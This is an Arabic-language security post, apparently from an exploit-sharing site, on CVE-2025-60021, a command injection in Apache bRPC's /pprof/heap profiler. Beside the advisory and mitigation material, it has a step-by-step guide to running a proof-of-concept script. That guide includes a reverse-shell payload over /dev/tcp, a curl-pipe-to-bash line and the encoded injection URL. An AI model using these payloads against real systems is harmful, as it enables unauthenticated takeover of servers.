🛑 CVE-2025-60021 — حقن أوامر عن بُعد في Apache bRPC

📌 نظرة عامة

CVE-2025-60021 هي ثغرة حرجة لحقن الأوامر عن بُعد تم اكتشافها في خدمة أداة تحليل الكومة المدمجة (/pprof/heap) في Apache bRPC إصدارات أقدم من 1.15.0، مما يسمح للمهاجمين غير الموثَّقين بتنفيذ أوامر نظام عشوائية. (NVD)

🔓 تفاصيل الثغرة

❗يمكن للمهاجمين حقن الأوامر عن بُعد ببساطة عن طريق التلاعب بهذا المعامل الخاص بالتحليل.

🚨 الخطورة & المخاطر

🔥 تصنيف الخطورة: حرج 📊 درجة CVSS v3.1 الأساسية: 9.8 / 10 المتجه: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H (INCIBE)

👉 هذا يعني أن المهاجمين يمكنهم تنفيذ أوامر عشوائية عن بُعد دون تسجيل دخول — أسوأ سيناريو للخدمات المكشوفة.

🧠 التحليل الفني

🔍 كيف تعمل

1. كشف أداة تحليل الكومة: تُظهر bRPC نقطة نهاية للتحليل (/pprof/heap) مخصصة لتحليل الذاكرة (jemalloc). (openwall.com)
2. خطأ في معالجة المدخلات: تقبل نقطة النهاية معامل extra_options. بدلاً من تعقيمه، تمرره bRPC مباشرةً إلى واجهة أوامر النظام. (openwall.com)
3. حقن الأوامر: يصوغ المخترق مدخلات ضارة تتضمن أوامر نظام → تقوم الخدمة بتنفيذها. (CVE Details)

دليل خطوة بخطوة لاستخدام برنامج PoC لـ CVE-2025-60021

يفترض هذا أنك حفظت البرنامج النصي باسم CVE-2025-60021.py (على الرغم من أن CVE الحقيقية هي 2025-60021 — لا تتردد في إعادة تسميته). إنه برنامج Python 3 لإظهار ثغرة حقن الأوامر عن بُعد في أداة تحليل الكومة في Apache bRPC. قم بتشغيله فقط على الأنظمة التي تملكها أو لديك إذن كتابي صريح لاختبارها — الاستغلال دون إذن غير قانوني.

المتطلبات الأساسية

1. بيئة Python: تأكد من تثبيت Python 3 (مثل 3.6+). يستخدم البرنامج النصي وحدات مدمجة بالإضافة إلى requests و argparse (وهي قياسية أو سهلة التثبيت).

2. تثبيت التبعيات: إذا لم تكن موجودة بالفعل، قم بتثبيت مكتبة requests:

   root@kitploit:~

   pip install requests
   

3. إعداد الهدف: تحتاج إلى خادم Apache bRPC ضعيف:

   • إصدار < 1.15.0.
   • تم تفعيل أداة تحليل الكومة (تحقق من إعدادات الخادم؛ غالبًا ما تكون مفعلة افتراضيًا في إعدادات التطوير).
   • يمكن الوصول إليه عبر الشبكة (مثل http://localhost:8060 أو IP/منفذ بعيد). إذا كنت تختبر محليًا، قم بإعداد نسخة ضعيفة من bRPC (مثل عبر Docker أو بناء المصدر — راجع وثائق Apache bRPC).

4. الأذونات: قم بتشغيله مع sudo فقط إذا لزم الأمر للوصول إلى الشبكة أو الامتيازات؛ وإلا فإن python3 العادي يكفي.

الخطوة 1: حفظ البرنامج النصي

انسخ كود PoC الذي قدمته سابقًا في ملف باسم CVE-2025-60021.py. اجعله قابلاً للتنفيذ إذا أردت:

chmod +x CVE-2025-60021.py

الخطوة 2: فهم الوسائط

يأخذ البرنامج النصي وسيطتين موضعيتين مطلوبتين:

• target: رابط خادم bRPC الضعيف (مثل http://192.168.1.100:8060 أو http://targets:8060 — أصلح أي أخطاء مطبعية مثل المخطط المفقود أو المضيف غير الصالح).
• cmd: الأمر المراد تنفيذه على الهدف (مثل "id" لمعلومات المستخدم، أو شيء أكثر تعقيدًا مثل "curl http://your-server/reverse-shell.sh | bash" لصدفة عكسية). استخدم && أو ; لربط أوامر متعددة.

الخطوة 3: تشغيل البرنامج النصي

افتح terminal (مثل Kali Linux كما تستخدم) ونفذه مع هدفك وأمرك. أمثلة الأوامر:

• اختبار أساسي (الحصول على معلومات النظام):

  root@kitploit:~

  sudo python3 CVE-2025-60021.py http://targets:8060 "id && whoami && uname -a"
  

• مثال صدفة عكسية (استبدل your-listener-ip والمنفذ؛ قم بإعداد مستمع مثل nc -lvnp 4444 أولاً):

  root@kitploit:~

  sudo python3 CVE-2025-60021.py http://targets:8060 "bash -i >& /dev/tcp/your-listener-ip/4444 0>&1"
  

• إذا كنت تستخدم HTTPS أو منفذًا مختلفًا، اضبط الرابط وفقًا لذلك (مثل https://target:443 — البرنامج النصي يتعامل معه، ولكن أضف --insecure إذا كانت هناك مشكلات في الشهادة).

الخطوة 4: تفسير المخرجات

مؤشرات النجاح:

• من المحتمل أن الاستغلال نجح! (200 OK)
• مخرجات الأمر المحتملة في نص الاستجابة (مثل uid=0(root)... إذا نفذ id).
• بالنسبة للأوامر التي لا تُخرج مخرجات (مثل كتابة ملفات أو صدفات)، تحقق من خادم الهدف (السجلات، العمليات) أو المستمع الخاص بك.

مؤشرات الفشل (مثل ما رأيته):

• تم الحصول على رمز الحالة 404 - ربما ليس ضعيفًا؟"
• رسائل خطأ مثل "[E1002] Heap profiler is not enabled" تعني أن نقطة النهاية غير نشطة — قم بتفعيلها على الهدف أو ابحث عن نسخة ضعيفة أخرى.
• انتهاء المهلة أو أخطاء الاتصال: الهدف غير قابل للوصول، أو جدار الحماية يحظر، أو منفذ خاطئ.
• إذا لم يتم تسريب أي مخرجات، فلا يزال الأمر يعمل بصمت على الخادم.

الخطوة 5: استكشاف المشكلات الشائعة وإصلاحها

• خطأ 404: تم تعطيل أداة تحليل الكومة. قم بتفعيلها في إعدادات bRPC (مثل --enable_heap_profiler=true) وأعد تشغيل الخادم.
• خطأ Argparse: نسيت وسيطة cmd — قم بتضمينها دائمًا.
• عدم وجود مخرجات نص الاستجابة: بعض الأوامر لا تُخرج stdout. استخدم أوامر تُخرجه (مثل echo "test" > /tmp/proof.txt) وتحقق من الملف على الهدف.
• الامتيازات: إذا كانت عملية bRPC تعمل كمستخدم غير جذر، فإن الأوامر مقيدة بأذونات ذلك المستخدم.
• تعديل الحمولة: إذا لم يعمل ;، جرب && أو | للربط. قم بتشفير الأحرف الخاصة في الرابط إذا لزم الأمر (البرنامج النصي يتعامل مع معظمها).
• الاختبار المحلي: قم بتشغيل حاوية Docker ضعيفة لـ bRPC للتحقق دون المخاطرة بأنظمة حقيقية.

الخطوة 6: التنظيف والملاحظات الأخلاقية

• بعد الاختبار، قم بتصحيح الهدف: قم بالترقية إلى bRPC 1.15.0+ أو تعطيل /pprof/heap.
• احذف أي أثر (مثل الصدفات أو الملفات التي تم إنشاؤها).
• سجل اختباراتك للامتثال إذا كنت تجري اختبار اختراق.

إذا نجح الاستغلال على هدف ضعيف (مثل تم تفعيل أداة تحليل الكومة، نسخة غير مصححة من bRPC <1.15.0)، فستبدو المخرجات في الطرفية الخاصة بك شيئًا كهذا (تعتمد التفاصيل الدقيقة على stdout الأمر وإعدادات الخادم):

[*] Sending payload to: http://targets:8060/pprof/heap?extra_options=%3B+id+%26%26+whoami+%26%26+uname+-a+%23
[*] Executing command: id && whoami && uname -a
[+] Exploit likely succeeded! (200 OK)
[+] Check your listener / server logs for output

Response body (possible command output):

uid=1000(user) gid=1000(user) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),116(lpadmin),126(sambashare)
user
Linux target-host 5.10.0-21-amd64 #1 SMP Debian 5.10.162-1 (2023-01-29) x86_64 GNU/Linux

[يتبعها بيانات ملف تعريف الكومة أو مخرجات ثنائية من jemalloc، مثل إحصائيات الذاكرة أو تفريغ]

العلامات الرئيسية: حالة 200 OK، وإذا كان الأمر (مثل id && whoami && uname -a) ينتج مخرجات، فقد تظهر في نص الاستجابة (مختلطة ببيانات التحليل). بالنسبة للأوامر الصامتة (مثل الصدفة العكسية)، تحقق من خادم الهدف أو المستمع الخاص بك للنشاط — لا تأكيد مباشر في الطرفية بخلاف 200. 😈

🛠 التخفيف والإصلاحات

✅ الحل الأساسي

• 👉 قم بترقية Apache bRPC إلى الإصدار 1.15.0 أو أحدث. (NVD)

🧩 الإصلاح البديل

• 🛠 طبق التصحيح الرسمي يدويًا من مستودع Apache bRPC على GitHub (طلب السحب رقم 3101). (openwall.com)

🔒 حمايات إضافية

• جدار الحماية / قوائم ACL: امنع الوصول إلى /pprof/heap من الشبكات غير الموثوقة.
• تعطيل التحليل: أوقف تشغيل تحليل الكومة حيث لا حاجة له.
• مراقبة السجلات: راقب أي نشاط غير معتاد في أداة التحليل.

💡 لماذا هذا خطير

✔ لا يحتاج المهاجمون إلى بيانات اعتماد. ✔ يعمل عبر الشبكة. ✔ يؤثر على جميع المنصات التي تستخدم bRPC ضعيف. ✔ يمكن أن يؤدي إلى اختراق كامل للنظام.

الشركات التي تستخدم bRPC في خدمات حرجة (مثل البحث، التخزين، خطوط أنابيب التعلم الآلي) معرضة للخطر بشكل خاص لأن هذا الخلل يحول أداة تشخيصية إلى متجه هجوم. (Daily CyberSecurity)

🧾 ملاحظات إضافية

⚠ EPSS (نظام تسجيل الاستغلال المتوقع): تشير بعض المصادر إلى ملاحظة منخفضة للاستغلال حتى الآن، لكن سهولة الاستغلال تعني أنه يمكن استغلاله بسرعة في هجمات حقيقية. (Tenable®)

📌 التصنيف: CWE-77 — تحييد غير صحيح للعناصر الخاصة في أمر (حقن أمر). (NVD)

📎 المراجع

• إدخال الثغرة في NIST/NVD لـ CVE-2025-60021 (NVD)
• تفاصيل استشارة Apache و Openwall الأمنية (openwall.com)
• تحليل INCIBE-CERT لـ CVSS والمقاييس (INCIBE)
• نظرة عامة على CVE Details (الإصدارات المتأثرة وإرشادات الإصلاح) (CVE Details)

إذا كنت تدير Apache bRPC في الإنتاج — قم بالتصحيح فورًا وقيد الوصول إلى نقاط النهاية التشخيصية لتقليل المخاطر.